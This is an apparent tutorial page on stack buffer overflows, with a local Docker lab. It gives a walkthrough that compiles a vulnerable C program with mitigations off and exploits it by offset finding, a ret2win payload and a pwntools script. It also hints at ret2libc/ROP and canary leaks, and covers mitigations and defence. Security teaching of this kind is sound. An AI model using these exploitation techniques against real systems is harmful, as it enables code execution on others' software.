Cybersecurity-Mastery

Home › Vulnerabilities › Buffer Overflows

Buffer Overflows

Bounds-check failures, overwrite targets, shellcode and mitigation-aware exploitation.

Advanced⌨ ~72 min hands-on📖 ~24 min read

▶ Here to build, not read? Jump to the Hands-On Practice.

Prerequisites: C · Assembly Language · Computer Architecture · Memory Corruption

Overview

A buffer overflow occurs when a program writes more data into a fixed-size memory region than it can hold, corrupting whatever lies adjacent. In languages without automatic bounds checking — chiefly C and C++ — the adjacent memory can be other variables, heap metadata, or, most usefully to an attacker, saved control data such as a function's return address. By overwriting that control data with a chosen value, an attacker redirects the program's execution.

The overflow itself is only the primitive. Turning it into reliable code execution is a second discipline of defeating the mitigations layered on modern systems: stack canaries, non-executable memory (NX/DEP), address space layout randomisation (ASLR), and control-flow integrity. Studying overflows teaches you how a CPU actually runs code — the stack, calling conventions, and memory layout — which is why it remains a cornerstone of exploitation and reverse-engineering education.

How it works

When a function is called on x86-64, the return address is pushed to the stack; the function then allocates local buffers below it. A char buf[64] sits at a lower address than the saved return address, and a copy loop that does not check length writes upward toward it:

text
higher addresses
   [ saved return address ]  <- overwrite this to hijack control
   [ saved base pointer    ]
   [ char buf[64]          ]  <- write starts here, grows up
lower addresses

Overflow buf by enough bytes and you reach the saved return address. Replace it with the address of code you control and, when the function returns, execution jumps there. The classic exploit places shellcode in the buffer and points the return address at it; on modern systems, where the stack is non-executable, the return address instead points at a chain of existing code fragments (ROP) that call mprotect or system.

flowchart TD
    A["Buffer Overflows"] --> B["Concepts & terminology"]
    A --> C["Internal mechanics"]
    C --> D["Trust boundaries"]
    D --> E["Attack surface"]
    D --> F["Defensive controls"]
    E --> G["Detection & telemetry"]
    F --> G
    G --> H["Verification in the lab"]
🔑 Key terms
  • Return address — The saved location a function returns to — the prime overwrite target on the stack.
  • Stack canary — A random value placed before the return address and checked on return to detect overflow.
  • NX / DEP — Marks memory non-executable so injected shellcode on the stack cannot run.
  • ASLR — Randomises memory layout so attackers cannot predict addresses without a leak.
  • ROP (Return-Oriented Programming) — Chaining existing code 'gadgets' ending in ret to compute despite NX.
  • ret2libc — Redirecting execution to an existing libc function (e.g. system) instead of injected code.
Example
In the wild. SQL Slammer (January 2003). A single 376-byte UDP packet exploited a stack buffer overflow

in Microsoft SQL Server's resolution service, needing no disk write and spreading purely in memory. It infected most vulnerable hosts on the internet within ten minutes and disrupted ATMs and airline systems. Extract the lesson: an unauthenticated overflow in a network-facing service is among the most dangerous bugs that exist, and a patch had been available for six months.

Hands-On Practice

Tip
This is the main event. Bring up the lab, then work the walkthrough — every command has a ▸ Run button (needs the lab runner) and a 📋 Copy button. ~72 min, Kali attacker, fully local.

Mission. Take a vulnerable C program from crash to a called win() function, then watch each mitigation break the exploit.

🧪 Lab setup — Vulnerabilities

  • bWAPP / DVWA / Juice Shop — the web bug targets (see the Web Security part environment)
  • pwn-box — Ubuntu build/debug container for buffer/heap/format-string labs
docker-compose.yml
# vuln-lab/docker-compose.yml  —  Vulnerabilities part environment
services:
  bwapp:
    image: raesene/bwapp
    ports: ["8081:80"]
    networks: [labnet]
  dvwa:
    image: vulnerables/web-dvwa
    ports: ["8082:80"]
    networks: [labnet]
  pwn-box:
    image: ubuntu:22.04
    container_name: pwn-box
    cap_add: ["SYS_PTRACE"]          # allow gdb inside the container
    security_opt: ["seccomp=unconfined"]
    command: sleep infinity
    networks: [labnet]

networks:
  labnet:
    driver: bridge

Target for this lesson: the pwn-box build container (compile the vulnerable C yourself). Full setup: Vulnerabilities lab environment.

Guided walkthrough

1Write and compile the target (mitigations off)
command
gcc -fno-stack-protector -z execstack -no-pie -g vuln.c -o vuln   # vuln.c: gets(buf) + a win() fn
Expected output
A binary that reads input into a fixed buffer with no bounds check.
We turn mitigations off first to see the raw bug before defeating defences.
2Trigger the crash
command
python3 -c 'print("A"*200)' | ./vuln
Expected output
Segmentation fault (core dumped)
You overwrote the saved return address with 0x41414141 — control of execution is near.
3Find the exact offset
command
pwn cyclic 200 | ./vuln    # then in gdb: pwn cyclic -l $rsp_value
Expected output
Offset to return address: 72
Precise offset means you can place your target address exactly on the return slot.
4Redirect to win() (ret2win)
command
python3 -c 'import pwn; print(pwn.flat(b"A"*72, pwn.p64(WIN_ADDR)))' | ./vuln
Expected output
Congratulations — win() executed and printed the flag.
You controlled RIP and called code of your choosing — the essence of exploitation.
5Turn mitigations on and watch it break
command
gcc -fstack-protector-all -pie -o vuln2 vuln.c   # then re-run your exploit
Expected output
*** stack smashing detected ***  (canary), and PIE randomises WIN_ADDR
Each mitigation removes an assumption; real targets need leaks + ROP (next chapter).

Live terminal

kali@buffer-overflow — start the lab runner for a live shelloffline
Start the Lab Runner (see labserver/README.md), then click Connect lab runner and paste the token. Until then, copy commands from the walkthrough and run them in your own Kali terminal.
$

Try it yourself

Note
Try each for real. Open the hint only when stuck, the solution only to check.

Challenge 1. Rebuild with NX (drop -z execstack) and achieve execution with a ret2libc/ROP chain.

Hint

You can't run shellcode on the stack now; reuse existing code.

Solution

Use pwntools' ROP: rop.call(system, [bin_sh]) after leaking a libc address.

Challenge 2. Defeat the stack canary by leaking it first.

Hint

A format-string or over-read can disclose the canary before you overwrite it.

Solution

Read the canary, include it unchanged in your payload, then overwrite past it.

Challenge 3. Explain, with checksec output, exactly which mitigation stopped each exploit attempt.

Hint

checksec ./vuln reports Canary/NX/PIE/RELRO.

Solution

Map each failure: canary→abort, NX→no shellcode, PIE→wrong address, to the checksec flags.

Quick quiz

Which mitigation forces attackers from stack-shellcode to ROP/ret2libc?
NX marks the stack non-executable, so injected shellcode can't run — attackers must reuse existing executable code (ROP/ret2libc).

Detect & defend (blue-team view)

  • On real systems, a crash/abort in a network service (segfault, 'stack smashing detected') is a probe signal — monitor core dumps and service restarts.
  • Exploit mitigations (ASLR/NX/CET) are the primary 'detection' here — they convert bugs into crashes instead of compromise.

Skills check

You can move on when you can, without notes:

Going deeper — From crash to control — the modern pipeline

Exploit development is methodical:

  1. Fuzz / trigger a crash and capture the state (a controlled RIP is the goal).
  2. Find the offset to the return address with a cyclic pattern: ```bash pwn cyclic 200 # send as input pwn cyclic -l 0x6161616c # look up the crashing value -> exact offset ```
  3. Assess mitigations: checksec ./vuln reports canary, NX, PIE, RELRO.
  4. Build the primitive appropriate to the mitigations:
    • No canary, no NX → inject shellcode, jump to it.
    • NX on → ROP chain to mprotect/system (ret2libc).
    • PIE/ASLR on → first leak an address to defeat randomisation, then ROP.
  5. Stabilise the exploit for reliability.

A minimal pwntools skeleton:

python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
offset = 72
rop = ROP(elf)
rop.call(elf.symbols['win'])            # ret2win in the mitigations-off lab
p.sendline(b'A'*offset + rop.chain())
p.interactive()

Going deeper — Why the mitigations matter

Each mitigation removes one assumption the classic exploit relied on:

  • Canary breaks 'overwrite the return address undetected' — you must leak or avoid it.
  • NX breaks 'run shellcode on the stack' — forces code reuse (ROP/ret2libc).
  • ASLR/PIE breaks 'I know where things are' — forces an information leak first.
  • CET / shadow stack breaks ROP's return-address rewriting — the frontier.

Rebuild the same exploit as you enable each one in the lab; feeling the exploit break and re-developing it is how the theory becomes intuition.

Check Yourself

Quick self-test — answers hidden. If you can't answer without notes, redo the relevant walkthrough step.

Q1. In one sentence, what security problem does Buffer Overflows address or create?

Show answer

Buffer Overflows matters because its behaviour determines where trust is placed; misplacing that trust is the root of the associated bug class.

Q2. Name one trust boundary involved in Buffer Overflows and what crosses it.

Show answer

Any point where attacker-influenced data meets privileged processing — e.g. user input reaching an interpreter, or a token reaching a verifier.

Q3. Give one attack against Buffer Overflows and the single control that most reduces its impact.

Show answer

State the attack precisely, then the primary control (validation, encoding, isolation, authentication, or least privilege) — not a laundry list.

Interview angles

  • Walk me through how Buffer Overflows works, then tell me where you would attack it.
  • How would you detect Buffer Overflows being abused in an environment you defend?
  • What is the difference between mitigating and eliminating the risk associated with Buffer Overflows?

Pitfalls & Best Practice

Common mistakes

  • Testing exploits with mitigations off and assuming they work in the real, hardened target.
  • Confusing the overflow (the bug) with the exploit (defeating canary/NX/ASLR to weaponise it).
  • Using strcpy/gets/sprintf in new C code instead of bounded, length-checked APIs.
  • Ignoring integer overflows that produce undersized allocations feeding the buffer bug.
  • Assuming ASLR alone is protection without an accompanying leak-resistance analysis.

Do this instead

  • Prefer memory-safe languages (Rust, Go) for new code handling untrusted input.
  • In C/C++, use bounded APIs, compile with all mitigations, and run ASAN/UBSan in CI.
  • Fuzz parsers continuously; most memory-corruption bugs are found fastest by coverage-guided fuzzing.
  • Enable and verify canary, NX, full RELRO, PIE and CET where the toolchain supports them.
  • Treat any out-of-bounds write as critical regardless of whether you can immediately exploit it.

Reference

MITRE ATT&CK Mapping

No single ATT&CK technique maps cleanly to this concept. Once you apply it offensively or defensively, map the specific behaviour using the ATT&CK chapter.

OWASP Mapping

  • See OWASP Top 10 for the relevant category when this applies to web systems.

CWE Mapping

CWEWeakness
CWE-120Buffer Copy without Checking Size
CWE-787Out-of-bounds Write

CAPEC Mapping

CAPECAttack pattern
CAPEC-100Overflow Buffers

CVE References

NIST References

RFC References

  • No governing RFC for this topic. Where a protocol is involved, its RFC is linked from the relevant networking chapter.

Research Papers

  • Smashing the Stack for Fun and Profit — Aleph One, 1996

Books

  • Hacking: The Art of Exploitation, 2nd ed. — Jon Erickson
  • The Shellcoder's Handbook, 2nd ed. — Anley et al.
  • A Guide to Kernel Exploitation — Perla & Oldani

Official Documentation


Part of the Vulnerabilities section of Cybersecurity-Mastery. 🟠 Advanced · ~72 min hands-on · Last updated 2026-08-12.

Cybersecurity-Mastery — interactive security learning · runs locally